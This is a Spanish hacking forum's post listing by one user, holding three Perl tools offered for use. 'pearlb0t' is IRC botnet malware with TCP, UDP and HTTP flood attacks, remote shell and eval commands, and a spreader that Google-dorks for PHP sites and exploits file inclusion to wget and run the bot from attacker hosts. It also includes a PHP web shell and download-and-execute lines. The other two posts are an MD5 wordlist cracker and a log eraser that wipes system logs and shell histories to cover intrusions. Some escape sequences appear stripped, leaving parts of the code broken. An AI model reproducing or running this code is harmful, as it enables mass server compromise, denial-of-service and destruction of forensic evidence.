Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - @ed33x

#41
Perl / Perl BotWeb
Enero 27, 2011, 08:47:10 PM
Código: perl
#!/usr/bin/perl

                            ############################

                            ##  pearlb0t by Mindfuck  ##

################################################################################
############################################

#

#    V 0.7b    -Orginally writen by some guy i dont know, found 4 or 5 different versions on /tmp's, and no one worked...

#             So i decided to learn perl and fix things up...

#            - Fixed the Spreader

#            - Added a few RFI exploits

#            - Added Hostauth/Channelkey/Serverpass function

#            - Added die command

#            - Added bot Remover

#            - Implemented a simple webserver that hosts the botfile on $wwwport

#              Now you just have to config your phpshell.

#            - Since some shells cant get the real external ip, you can use external webservers as well

#            - You can even include external files

#        ToDo:

#            - Update Command

#            - Connectbackshell trigger

#            - MassDefeace

#            - passwd/shadow sender

#            - Find a "good" way to crypt the code without using special libs

#

#        Cmd's:

#            - Start exploiting:    !say @sploit <seconds>

#            - Kill the bot:        !say @die

#            - Delete Bot:        !say @fuckit

#            - Portscan:            !say @portscan <ip/dns> <sourceport>

#            - Tcpflood:            !say @tcpflood <ip/dns> <port> <seconds>

#            - Httpflood:        !say @httpflood <ip/dns> <seconds>

#            - Udpflood:            !say @udpflood <ip/dns> <port> <seconds>

#            - Version:            !say @version

#            - Op/deOp:            !say @op/deop <nick>

#            - Msg:                !say @msg <nick/chan> <msg>

#            - Chanflood:        !say @flood <nick/chan> <msg>

#            - CTCP:                !say @ctcp <nick> <chat/ping/version/time>

#            - CTCP-Flood:        !say @ctcpflood <nick> <chat/ping/version/time>

#            - Nickchange:        !say @nick <nickname>

#            - Connect:            !say @connect <irc-server>

#            - Raw Commands:        !say @raw <rawcmd>

#            - Eval:                !say @eval <?>

#

#

#            ###########################

#            # php_shell.gif:          #

#            # <?                      #

#            # passthru($_GET['cmd']); #

#            # ?>                      #

#            ###########################

#

#            ###########################################################################
#############################

#            # pwn.php                                                                                               #

#            # <?                                                                                                    #

#            # passthru('cd /tmp;wget http://yourhost.org/pearlbot.pl;perl pearlbot.pl;rm pearlbot.pl.*');           #

#            # passthru('cd /tmp;curl -O http://yourhost.org/pearlbot.pl;perl pearlbot.pl;rm pearlbot.pl.*');        #

#            # passthru('cd /tmp;lwp-download http://yourhost.org/pearlbot.pl;perl pearlbot.pl;rm pearlbot.pl.*');   #

#            # ?>                                                                                                    #

#            ###########################################################################
#############################

#

#

################################################################################
################################################

use strict();

use IO::Socket;

use Socket;

use IO::Select;

use Net::hostent;



# Checking if the process is allready running...

my $process = 'inedt'; if (`ps u` =~ /inedt/) { exit; }    # change the shown process



my @admins = ("Mindfuck","x0r");                        # admin nicknames

my @hostauth = ("pwnz.ya");                            # admin host

my @channels = ("#pearl#");                                # irc channel

my $chankey = 'titten';                                    # channel key

$server = 'pwndpwndpwnd.org' unless $server;                # irc server

my $port = '11011';                                        # irc server port

my $servpass = 'Key';                                    # irc server password

my $wwwport = '1337';                                    # webserver port

my $phpshell = "http://mindfuck.gotdns.org/";        # URL of your phpshell

my $usepwnphp = '0';                        # Include external file in your exploit?

my $pwnphp = "http://pwn4fun.gotdns.org/";        # A PhP file to include

my $scanmsg = '1';                                        # Print Exploit Messages to Channel?

my $bothttpd = '0';                                        # Use own httpd? (Set 2 for pwnphp)

my $ex_botfile = "http://mindfuck.gotdns.org/";



######################################### Exploits ###################################################################

my $search1 = "%22option=com_galleria%22+site%3A".$dom."%20", "inurl:%22".$dom."/index.php?option=com_galleria%22";

my $sploit1 = "/components/com_galleria/galleria.html.php?mosConfig_absolute_path=";

my $search2 = "%22inurl%3A%2Fmodules.php%3Fop%3Dmodload%22+%22inurl%3Acm_summary%22";

my $sploit2 = "/cm_navigation.inc.php?path_pre=";

my $search3 = "%22inurl%3Aindex.php%3Fwiki%3D%22+%22wikepage%22";

my $sploit3 = "/index.php?cmd=id&lng=";



my $tehsploit = $sploit3;    # Set the active exploit here

my $tehsearch = $search3;    # Set active search

################################################################################
#####################################



   

#########################################

#                                        #

#   NO NEED TO EDIT BELOW THIS LINE!    #

#                                        #

#########################################

my $filename = __FILE__;

my $lines_max='4';

my $sleep='5';

my $ifconfig = `/sbin/ifconfig`;

$ifconfig =~ m/(d+.d+.d+.d+)/;

my $ip = $1;

chop (my $nick = `whoami`);

chop (my $ircname = `whoami`);

chop (my $realname = `uname -sr`);

my $VERSION = '0.7b';

$SIG{'INT'} = 'IGNORE';

$SIG{'HUP'} = 'IGNORE';

$SIG{'TERM'} = 'IGNORE';

$SIG{'CHLD'} = 'IGNORE';

$server="$ARGV[0]" if $ARGV[0];

$0="$process"."0"x16;;

my $pid=fork;

exit if $pid;

die "Cant fork: $!" unless defined($pid);

print "Another one bites the Dust...n";

our %irc_servers;

our %DCC;

my $dcc_sel = new IO::Select->new();

$sel_client = IO::Select->new();

sub sendraw {

    if ($#_ == '1') {

    my $socket = $_[0];

    print $socket "$_[1]n";

    } else {

        print $IRC_cur_socket "$_[0]n";

        }

    }

############ WWW START ##################

if ($bothttpd == 1) {

    sub www() {

        my $filename = __FILE__;

        open(FILE, $filename);

        my @botfile = <FILE>;

        my $wwwserver = IO::Socket::INET->new(

        Proto =>'tcp',

        LocalPort =>$wwwport,

        Listen=> SOMAXCONN,

        Reuse=> 1 );

        die "WWW Server NOT started" unless $wwwserver;

        while ($wwwclient = $wwwserver->accept()) {

            $wwwclient -> autoflush(1);

            print $wwwclient "@botfile";

            sleep(1);

            close $wwwclient;

        }

    }

        my $wwwpid=fork;

        exit if $wwwpid;

        die "Cant fork: $!" unless defined($wwwpid);

        if (my $wwwpid = fork) {

            waitpid($wwwpid, 0);

        } else {

        if (fork) {

                       exit;

                } else {

                    www;

                }

        }

} else { print "Started without Bot httpd, make sure your botfile is reachablen"; }

############ WWW END ####################



sub connection {

    my $meunick = $_[0];

    my $server_con = $_[1];

    my $port_con = $_[2];

    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con", PeerPort=>$port_con) or return(1);

    if (defined($IRC_socket)) {

        $IRC_cur_socket = $IRC_socket;

        $IRC_socket->autoflush(1);

        $sel_client->add($IRC_socket);

        $irc_servers{$IRC_cur_socket}{'host'} = "$server_con";

        $irc_servers{$IRC_cur_socket}{'port'} = "$port_con";

        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;

        $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;

        nick("$meunick");

        sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname");

        sleep 1;

        }

    }



my $line_temp;

    while( 1 ) {

        while (!(keys(%irc_servers))) { connection("$nick", "$server", "$port", "$servpass"); }

        delete($irc_servers{''}) if (defined($irc_servers{''}));

        my @ready = $sel_client->can_read(0);

        next unless(@ready);

        foreach $fh (@ready) {

            $IRC_cur_socket = $fh;

            $meunick = $irc_servers{$IRC_cur_socket}{'nick'};

            $nread = sysread($fh, $msg, 4096);

            if ($nread == 0) {

                $sel_client->remove($fh);

                $fh->close;

                delete($irc_servers{$fh});

                }

            @lines = split (/n/, $msg);

            for(my $c=0; $c<= $#lines; $c++) {

                $line = $lines[$c];

                $line=$line_temp.$line if ($line_temp);

                $line_temp='';

                $line =~ s/r$//;

                unless ($c == $#lines) {

                    parse("$line");

                    } else {

                        if ($#lines == 0) {

                            parse("$line");

                        } elsif ($lines[$c] =~ /r$/) {

                            parse("$line");

                        } elsif ($line =~ /^(S+) NOTICE AUTH :***/) {

                            parse("$line");

                        } else { $line_temp = $line; }

                    }

            }

        }

    }



sub parse {

    my $servarg = shift;

    if ($servarg =~ /^PING :(.*)/) {

        sendraw("PONG :$1");

        } elsif ($servarg =~ /^:(.+?)!(.+?)@(.+?) PRIVMSG (.+?) :(.+)/) {

            my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;

        if ($args =~ /^001VERSION001$/) {

            notice("$pn", "001VERSION IrOffer v1.4001");

        }

        if (grep {$_ =~ /^Q$hostmaskE$/i } @hostauth) {

            if (grep {$_ =~ /^Q$pnE$/i } @admins) {

                if ($onde eq "$meunick"){

                    shell("$pn", "$args");

                    }

            if ($args =~ /^(Q$meunickE|!say)s+(.*)/ ) {

                my $natrix = $1;

                my $arg = $2;

            if ($arg =~ /^!(.*)/) {

                ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^!nick/);

            } elsif ($arg =~ /^@(.*)/) {

                $ondep = $onde;

                $ondep = $pn if $onde eq $meunick;

                bfunc("$ondep","$1");

            } else {

                shell("$onde", "$arg");

                }

            }

        }

    }

}

elsif ($servarg =~ /^:(.+?)!(.+?)@(.+?)s+NICKs+:(S+)/i) {

    if (lc($1) eq lc($meunick)) {

        $meunick=$4;

        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;

    }

    } elsif ($servarg =~ m/^:(.+?)s+433/i) {

        nick("$meunick|".int rand(999999));

    } elsif ($servarg =~ m/^:(.+?)s+001s+(S+)s/i) {

        $meunick = $2;

        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;

        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";

        foreach my $channel (@channels) {

        sendraw("JOIN $channel $chankey");

        }

    }

}



sub bfunc {

    my $printl = $_[0];

    my $funcarg = $_[1];

    if (my $pid = fork) {

        waitpid($pid, 0);

    } else {

        if (fork) {

            exit;

        } else {

            if ($funcarg =~ /^portscan (.*)/) {

                my $hostip="$1";

                my @ports=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");

                my (@result, %port_banner);

                sendraw($IRC_cur_socket, "PRIVMSG $printl :002[SCAN]002 Scanning ".$1." for open ports.");   

                foreach my $port (@ports)  {

                    my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $port, Proto => 'tcp', Timeout => 4);

                    if ($scansock) {

                        push (@result, $port);

                        $scansock->close;

                    }

                }

            if (@result) {

                sendraw($IRC_cur_socket, "PRIVMSG $printl :002[SCAN]002 Open port(s): @result");

            } else {

                sendraw($IRC_cur_socket,"PRIVMSG $printl :002[SCAN]002 No open ports found");

            }

        }

        if ($funcarg =~ /^tcpfloods+(.*)s+(d+)s+(d+)/) {

            sendraw($IRC_cur_socket, "PRIVMSG $printl :002[TCP]002 Attacking ".$1.":".$2." for ".$3." seconds.");

            my $itime = time;

            my ($cur_time);

            $cur_time = time - $itime;

            while ($3>$cur_time){

                $cur_time = time - $itime;

                &tcpflooder("$1","$2","$3");

            }

        sendraw($IRC_cur_socket, "PRIVMSG $printl :002[TCP]002 Attack done ".$1.":".$2.".");

        }

        if ($funcarg =~ /^version/) {

            sendraw($IRC_cur_socket, "PRIVMSG $printl :002[VERSION]002 pearlb0t ver ".$VERSION); 

            }

        if ($funcarg =~ /^www/) {

            sendraw($IRC_cur_socket, "PRIVMSG $printl :002[WWW]002 Bot serving itself on $ip:$wwwport");

            }

        if ($funcarg =~ /^die/) {

            sendraw($IRC_cur_socket, "PRIVMSG $printl :002[DIE]002 Okay Boss, im goin home...");

            system("kill -9 `ps ax |grep $process |grep -v grep|awk '{print $1;}'`");

        }

        if ($funcarg =~ /^fuckit/) {

                sendraw($IRC_cur_socket, "PRIVMSG $printl :002[DIE]002 Hmkay, deleting ".$filename."...");

                system("rm $filename");

                sendraw($IRC_cur_socket, "PRIVMSG $printl :002[DIE]002 Stopping process $process");

                system("kill -9 `ps ax |grep $process |grep -v grep|awk '{print $1;}'`");

            }

                        if ($funcarg =~ /^sploit (.*)/) {

                                sendraw($IRC_cur_socket, "PRIVMSG $printl :002[SCAN]002 Scanning for ".$1." seconds.");

                                if ($bothttpd == 1) {

                                        srand;

                                        my $itime = time;

                                        my ($cur_time);

                                        my ($exploited);

                                        $boturl= "http://$ip:$wwwport";

                                        $cur_time = time - $itime;$exploited = 0;

                                        while($1>$cur_time){

                                                $cur_time = time - $itime;

                                                @urls=fetch();

                                                foreach $url (@urls) {

                                                        $cur_time = time - $itime;

                                                        my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)/(.+)$/;

                                                        $url =$path."$tehsploit$phpshell?cmd=cd+/tmp;wget+$boturl+-o+$filename;perl+$filename";

                                                        my $page = http_query($url);

                                                        if ($scanmsg == 1) {

                                                                sendraw($IRC_cur_socket, "PRIVMSG $printl :002[SCAN]002 Exploiting http://".$url);

                                                                $exploited = $exploited + 1;

                            }

                                                }

                                        }

                                }

                                if ($bothttpd == 0) {

                                        srand;

                                        my $itime = time;

                                        my ($cur_time);

                                        my ($exploited);

                                        $boturl= "$ex_botfile";

                                        $cur_time = time - $itime;$exploited = 0;

                                        while($1>$cur_time){

                                                $cur_time = time - $itime;

                                                @urls=fetch();

                                                foreach $url (@urls) {

                                                        $cur_time = time - $itime;

                                                        my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)/(.+)$/;

                                                        $url =$path."$tehsploit$phpshell?cmd=cd+/tmp;wget+$boturl;perl+$filename";

                            my $page = http_query($url);

                                                                if ($scanmsg == 1) {

                                                                        sendraw($IRC_cur_socket, "PRIVMSG $printl :002[SCAN]002 Exploiting http://".$url);

                                                                        $exploited = $exploited + 1;

                                                                }

                                                }

                                        }





                                }

                if (($usepwnphp == 1) && ($bothttpd == 2)) {

                                        srand;

                                        my $itime = time;

                                        my ($cur_time);

                                        my ($exploited);

                                        $cur_time = time - $itime;$exploited = 0;

                                        while($1>$cur_time){

                                                $cur_time = time - $itime;

                                                @urls=fetch();

                                                foreach $url (@urls) {

                                                        $cur_time = time - $itime;

                                                        my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)/(.+)$/;

                                                        $url =$path."$tehsploit$pwnphp";

                                                        my $page = http_query($url);

                                                                if ($scanmsg == 1) {

                                                                        sendraw($IRC_cur_socket, "PRIVMSG $printl :002[SCAN]002 Exploiting http://".$url);

                                                                        $exploited = $exploited + 1;

                                                                }

                                                }

                                        }





                                }

                        if ($scanmsg == 1) {

                                sendraw($IRC_cur_socket, "PRIVMSG $printl :002[SCAN]002 Exploited ".$exploited." boxes in ".$1." seconds.");

                                }

                        }

            if ($funcarg =~ /^httpfloods+(.*)s+(d+)/) {

                sendraw($IRC_cur_socket, "PRIVMSG $printl :002[HTTP]002 Attacking ".$1.":80 for ".$2." seconds.");

                my $itime = time;

                my ($cur_time);

                $cur_time = time - $itime;

                while ($2>$cur_time){

                    $cur_time = time - $itime;

                    my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);

                    print $socket "GET / HTTP/1.1rnAccept: */*rnHost: ".$1."rnConnection: Keep-Alivernrn";

                    close($socket);

                }

            sendraw($IRC_cur_socket, "PRIVMSG $printl :002[HTTP]002 Attacking done ".$1.".");

            }

            if ($funcarg =~ /^udpfloods+(.*)s+(d+)s+(d+)/) {

                sendraw($IRC_cur_socket, "PRIVMSG $printl :002[UDP]002 Attacking ".$1." with ".$2." Kb packets for ".$3." seconds.");

                my ($dtime, %packets) = udpflooder("$1", "$2", "$3");

                $dtime = 1 if $dtime == 0;

                my %bytes;

                $bytes{igmp} = $2 * $packets{igmp};

                $bytes{icmp} = $2 * $packets{icmp};

                $bytes{o} = $2 * $packets{o};

                $bytes{udp} = $2 * $packets{udp};

                $bytes{tcp} = $2 * $packets{tcp};

                sendraw($IRC_cur_socket, "PRIVMSG $printl :002[UDP]002 Sent ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1.".");

            }

            exit;

        }

    }

}



sub ircase {

    my ($kem, $printl, $case) = @_;

    if ($case =~ /^join (.*)/) {

        j("$1");

    }

    if ($case =~ /^part (.*)/) {

        p("$1");

    }

    if ($case =~ /^rejoins+(.*)/) {

        my $chan = $1;

        if ($chan =~ /^(d+) (.*)/) {

            for (my $ca = 1; $ca <= $1; $ca++ ) {

                p("$2");

                j("$2");

            }

        } else {

            p("$chan");

            j("$chan");

        }

    }

    if ($case =~ /^op/) {

        op("$printl", "$kem") if $case eq "op";

        my $oarg = substr($case, 3);

        op("$1", "$2") if ($oarg =~ /(S+)s+(S+)/);

    }

    if ($case =~ /^deop/) {

        deop("$printl", "$kem") if $case eq "deop";

        my $oarg = substr($case, 5);

        deop("$1", "$2") if ($oarg =~ /(S+)s+(S+)/);

    }

    if ($case =~ /^msgs+(S+) (.*)/) {

        msg("$1", "$2");

    }

    if ($case =~ /^floods+(d+)s+(S+) (.*)/) {

        for (my $cf = 1; $cf <= $1; $cf++) {

            msg("$2", "$3");

        }

    }

    if ($case =~ /^ctcps+(S+) (.*)/) {

        ctcp("$1", "$2");

    }

    if ($case =~ /^ctcpfloods+(d+)s+(S+) (.*)/) {

        for (my $cf = 1; $cf <= $1; $cf++) {

            ctcp("$2", "$3");

        }

    }

    if ($case =~ /^nick (.*)/) {

        nick("$1");

    }

    if ($case =~ /^connects+(S+)s+(S+)/) {

        connection("$2", "$1", 6667);

    }

    if ($case =~ /^raw (.*)/) {

        sendraw("$1");

    }

    if ($case =~ /^eval (.*)/) {

        eval "$1";

    }

}



sub shell {

    my $printl=$_[0];

    my $cmd=$_[1];

    if ($cmd =~ /cd (.*)/) {

        chdir("$1") || msg("$printl", "No such file or directory");

        return;

    }

    elsif ($pid = fork) {

        waitpid($pid, 0);

    } else {

        if (fork) {

            exit;

        } else {

            my @resp=`$cmd 2>&1 3>&1`;

            my $c=0;

            foreach my $linha (@resp) {

                $c++;

                chop $linha;

                sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");

                if ($c == "$lines_max") {

                    $c=0;

                    sleep $sleep;

                }

        }

        exit;

        }

    }

}



sub tcpflooder {

    my $itime = time;

    my ($cur_time);

    my ($ia,$pa,$proto,$j,$l,$t);

    $ia=inet_aton($_[0]);

    $pa=sockaddr_in($_[1],$ia);

    $ftime=$_[2];

    $proto=getprotobyname('tcp');

    $j=0;$l=0;

    $cur_time = time - $itime;

    while ($l<1000){

        $cur_time = time - $itime;

        last if $cur_time >= $ftime;

        $t="SOCK$l";

        socket($t,PF_INET,SOCK_STREAM,$proto);

        connect($t,$pa)||$j--;

        $j++;$l++;

        }

    $l=0;

    while ($l<1000){

    $cur_time = time - $itime;

    last if $cur_time >= $ftime;

    $t="SOCK$l";

    shutdown($t,2);

    $l++;

    }

}



sub udpflooder {

    my $iaddr = inet_aton($_[0]);

    my $msg = 'A' x $_[1];

    my $ftime = $_[2];

    my $cp = 0;

    my (%packets);

    $packets{icmp} = $packets{igmp} = $packets{udp} = $packets{o} = $packets{tcp} = 0;

    socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;

    socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;

    socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;

    socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;

    return(undef) if $cp == 4;

    my $itime = time;

    my ($cur_time);

    while ( 1 ) {

        for (my $port = 1; $port <= 65000; $port++) {

            $cur_time = time - $itime;

            last if $cur_time >= $ftime;

            send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $packets{igmp}++;

            send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $packets{udp}++;

            send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $packets{icmp}++;

            send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $packets{tcp}++;

            for (my $pc = 3; $pc <= 255;$pc++) {

                next if $pc == 6;

                $cur_time = time - $itime;

                last if $cur_time >= $ftime;

                socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;

                send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $packets{o}++;

            }

        }

    last if $cur_time >= $ftime;

    }

return($cur_time, %packets);

}



sub ctcp {

    return unless $#_ == 1;

    sendraw("PRIVMSG $_[0] :001$_[1]001");

}

sub msg {

    return unless $#_ == 1;

    sendraw("PRIVMSG $_[0] :$_[1]");



sub notice {

    return unless $#_ == 1;

    sendraw("NOTICE $_[0] :$_[1]");

}

sub op {

    return unless $#_ == 1;

    sendraw("MODE $_[0] +o $_[1]");

}

sub deop {

    return unless $#_ == 1;

    sendraw("MODE $_[0] -o $_[1]");

}

sub j { &join(@_); }

sub join {

    return unless $#_ == 0;

    sendraw("JOIN $_[0]");

}

    sub p { part(@_); }

    sub part {

    sendraw("PART $_[0]");

}

sub nick {

    return unless $#_ == 0;

    sendraw("NICK $_[0]");

}

sub quit {

    sendraw("QUIT :$_[0]");

}



# Spreader

# this 'spreader' code isnt mine, i dont know who coded it.

# update: well, i just fix0red this shit a bit.

# update2: Dunno what you fix0red, but surely it wasnt the spreader, now its workin...



sub fetch(){

    my $rnd=(int(rand(9999)));

    my $n= 80;

    if ($rnd<5000) { $n<<=1;}

    my $s= (int(rand(10)) * $n);

    my @domains = ("com","net","org","info","gov", "gob","gub","xxx", "eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec",

    "py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop",

    "af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi",

    "vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk",

    "ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir",

    "iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke",

    "ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm",

    "na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc",

    "sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz",

    "vu","vn","ye","yu","cd","zm","zw","");

    my @str;

    foreach $dom  (@domains) {

        push (@str,"$tehsearch");

    }

    my $query="www.google.com/search?q=";

    $query.=$str[(rand(scalar(@str)))];

    $query.="&num=$n&start=$s";

    my @lst=();

    my $page = http_query($query);

    while ($page =~  m/<a class=l href="?http://([^>"]+)"?>/g){

    if ($1 !~ m/google|cache|translate/){

        push (@lst,$1);

        }

    }

return (@lst);

}

 

sub http_query($){

    my ($url) = @_;

    my $host=$url;

    my $query=$url;

    my $page="";

    $host =~ s/href="?http:////;

    $host =~ s/([-a-zA-Z0-9.]+)/.*/$1/;

    $query =~s/$host//;

    if ($query eq "") {$query="/";};

    eval {

        local $SIG{ALRM} = sub { die "1";};

        alarm 10;

        my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;

        print $sock "GET $query HTTP/1.0rnHost: $hostrnAccept: */*rnUser-Agent: Mozilla/5.0rnrn";

        my @r = <$sock>;

        $page="@r";

        alarm 0;

        close($sock);

    };   

return $page;

}
#42
Perl / MD5 Cracker Ataque por Wordlist
Enero 27, 2011, 08:46:39 PM
Código: perl
#!/usr/bin/perl



use strict;

use warnings;

use Digest::MD5 qw(md5_hex);



sub usage(){



print "nt******** Splash Md5 cracker! *********nn";

print "t  Usage: $0 <hash-file> <wordlist>nn";

print "t**************************************nn";



}



my $hashplace=shift;

my $wlistplace=shift;



if(!$wlistplace){

    usage();

    exit;

}

    open(HASH,$hashplace) || die "Could not open hash: $!n";

        chomp(my $hash=<HASH>);

    close(HASH);



if(length($hash)!=32){

    die "t$hash is not a valid md5-hash!n";

}

if($hash !~ /d|[a-f]{32}/g){

    die "t$hash is not a valid md5-hash!n";

}

    open(WLIST,$wlistplace) || die "Could not open wordlist: $!n";



while(<WLIST>){

    chomp($_);

    chomp(my $md5=md5_hex($_));

    print "$md5 != $hashn";

    if($md5 eq $hash){

        die "tHash successfully cracked!nnt$hash == $_nn";

    }

}

close(WLIST);



print "Hash not found in wordlistn";
#43
Perl / Tool para borrar logs en Linux
Enero 27, 2011, 08:46:20 PM
Código: perl

#########################################################################################################
#                                          log eraser MSRLE v0.1                                        #
#                                                                                                       #
#                                             coded by PRI[ll                                           #
#                                                                                                       #
#                                                03/07/2005                                             #
#                                                                                                       #
#                              Morocco.security.rulz /s irc.gigachat.net -j #MSR                        #
#                                                                                                       #
#                             usage:(you should run this tool as root (sure =))) exemple:               #
#                                                                                                       #
#                      [root@MOROCCO:/root]# wget www.go0gler.com/MSRLE;chmod 777 MSRLE;./MSRLE         #
#                      !!!!! MSRLE v0.1!!!!!                                                            #
#                      !!!!coded by PRI[ll!!!!                                                          #
#                      [*]erasing default log files (too fast =))                                       #
#                      [*]/var/log/lastlog -erased Ok                                                   #
#                      [*]/var/log/wtmp -erased Ok                                                      #
#                      [*]/etc/wtmp - No such file or directory                                         #
#                                                                                [email protected]#
#########################################################################################################
#!usr/bin/perl
use strict;
print "!!!!! MSRLE v0.1!!!!!\n";
print "Morocco.Security.Rulz.Log.Eraser\n";
print "!!!!coded by PRI[ll!!!!\n";
system "echo -e \"\033[01;34m---------erasing default log files (too fast =))---------\033[01;37m\"\n";
if( -e "/var/log/lastlog" )
{
   system 'rm -rf /var/log/lastlog';
   system "echo -e \"\\033[01;37m [*]/var/log/lastlog -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/log/lastlog - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/log/wtmp" )
{
   system 'rm -rf /var/log/wtmp';
   system "echo -e \"\\033[01;37m [*]/var/log/wtmp -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/log/wtmp - No such file or directory\\033[01;37m\"\n";
}
if( -e "/etc/wtmp" )
{
   system 'rm -rf /etc/wtmp';
   system "echo -e \"\\033[01;37m [*]/etc/wtmp -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/etc/wtmp - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/run/utmp" )
{
   system 'rm -rf /var/run/utmp';
   system "echo -e \"\\033[01;37m [*]/var/run/utmp -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/run/utmp - No such file or directory\\033[01;37m\"\n";
}
if( -e "/etc/utmp" )
{
   system 'rm -rf /etc/utmp';
   system "echo -e \"\\033[01;37m [*]/etc/utmp -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/etc/utmp - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/log" )
{
   system 'rm -rf /var/log';
   system "echo -e \"\\033[01;37m [*]/var/log -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/log - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/logs" )
{
   system 'rm -rf /var/logs';
   system "echo -e \"\\033[01;37m [*]/var/logs -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/logs - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/adm" )
{
   system 'rm -rf /var/adm';
   system "echo -e \"\\033[01;37m [*]/var/adm -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/adm - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/apache/log" )
{
   system 'rm -rf /var/apache/log';
   system "echo -e \"\\033[01;37m [*]/var/apache/log -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/apache/log - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/apache/logs" )
{
   system 'rm -rf /var/apache/logs';
   system "echo -e \"\\033[01;37m [*]/var/apache/logs -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/var/apache/logs - No such file or directory\\033[01;37m\"\n";
}
if( -e "/usr/local/apache/log" )
{
   system 'rm -rf /usr/local/apache/log';
   system "echo -e \"\\033[01;37m [*]/usr/local/apache/log -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/usr/local/apache/log - No such file or directory\\033[01;37m\"\n";
}
if( -e "/usr/local/apache/logs" )
{
   system 'rm -rf /usr/local/apache/logs';
   system "echo -e \"\\033[01;37m [*]/usr/local/apache/logs -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/usr/local/apache/logs - No such file or directory\\033[01;37m\"\n";
}
if( -e "/root/.bash_history" )
{
   system 'rm -rf /root/.bash_history';
   system "echo -e \"\\033[01;37m [*]/root/.bash_history -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/root/.bash_history - No such file or directory\\033[01;37m\"\n";
}
if( -e "/root/.ksh_history" )
{
   system 'rm -rf /root/.ksh_history';
   system "echo -e \"\\033[01;37m [*]/root/.ksh_history -erased Ok\"\n";
}
else
{
  system "echo -e \"\\033[01;31m[*]/root/.ksh_history - No such file or directory\\033[01;37m\"\n";
}
system "echo -e \"\\033[01;37m[+] -----done all default log and bash_history files erased !!\"\n";
system "echo -e \"\033[01;34m---------Now Erasing the rest of the machine log files (can be long :S)---------\033[01;37m\"\n";
system 'find / -name *.bash_history -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m[*] all *.bash_history files -erased Ok!\"\n";
system 'find / -name *.bash_logout -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m[*] all *.bash_logout files -erased Ok!\"\n";
